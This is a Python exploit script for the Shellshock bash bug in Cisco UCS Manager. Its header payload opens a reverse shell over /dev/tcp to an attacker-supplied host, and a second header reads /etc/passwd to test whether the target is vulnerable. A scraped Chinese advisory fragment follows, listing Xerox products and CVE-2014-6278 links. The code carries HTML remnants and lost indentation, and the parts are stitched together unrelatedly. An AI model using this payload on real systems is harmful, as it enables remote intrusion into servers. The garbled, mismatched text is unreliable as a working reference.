import sys
import requests
import time<\/p>

if len(sys.argv) < 4:
print "\n[] Cisco UCS Manager 2.1(1b) Shellshock Exploit"
print "[<\/em>] Usage: <Victim IP> <Attacking Host> <Reverse Shell Port>"
print "[]"
print "[<\/em>] Example: shellshock.py 127.0.0.1 127.0.0.1 4444"
print "[*] Listener: nc -lvp <port>"
print "\n"
sys.exit()<\/p>

#Disables request warning for cert validation ignore.
requests.packages.urllib3.disable_warnings()
ucs = sys.argv[1]
url = "https:\/\/" + ucs + "\/ucsm\/isSamInstalled.cgi"
attackhost = sys.argv[2]
revshellport = sys.argv[3]
headers1 = {
'User-Agent': '() { ignored;};\/bin\/bash -i >& \/dev\/tcp\/' + attackhost + '\/' + revshellport + ' 0>&1'
}
headers2 = {
"User-Agent": '() { test;};echo "Content-type: text\/plain"; echo; echo; echo $(<\/etc\/passwd)'
}<\/p>

def exploit():
try:
r = requests.get(url, headers=headers1, verify=False, timeout=5)
except Exception, e:
if 'timeout' in str(e):
print "[+] Success. Enjoy your shell..."
else:
print "[-] Something is wrong..."
print "[-] Error: " + str(e)<\/p>

def main():
try:
r = requests.get(url, headers=headers2, verify=False, timeout=3)
if r.content.startswith('\nroot:'):
print "[+] Host is vulnerable, spawning shell..."
time.sleep(3)
exploit()
else:
print "[-] Host is not vulnerable, quitting..."
sys.exit()
except Exception, e:
print "[-] Something is wrong..."
print "[-] Error: " + str(e)<\/p>

if name<\/strong> == "main<\/strong>":
main()|受影响的产品Xerox WorkCentre 7245 Xerox WorkCentre 7242 Xerox WorkCentre 7238 Xerox WorkCentre 7235 Xerox WorkCentre 7232 Xerox WorkCentre 7228 Xerox Phaser 7800 0|参考资料来源:support.novell.com链接:http:\/\/support.novell.com\/security\/cve\/CVE-2014-6278.html来源:lcamtuf.blogspot.com链接:http:\/\/lcamtuf.blogspot.com\/2014\/09\/bash-bug-apply-unofficial-patch-now.html来源:bugzilla.redhat.com链接:https:\/\/bugzilla.redhat.com\/show_bug.cgi?id=1147414来源:SECUNIA链接:http:\/\/secunia.com\/advisories\/61641来源:www.suse.com链接:https:\/\/www.suse.com\/support\/shellshock\/来源:security-tracker.debian.org链接:https:\/\/security-tracker.debian.org\/tracker\/CVE-2014-6278来源:kb.bluecoat.com链接:https:\/\/kb.bluecoat.com\/index?page=content&;id=SA82来源:lcamtuf.blogspot.com链接:http:\/\/lcamtuf.blogspot.com\/2014\/10\/bash-bug-how-we-finally-cracked.html转自：https:\/\/www.anquanke.com\/vul\/id\/1123284<\/p>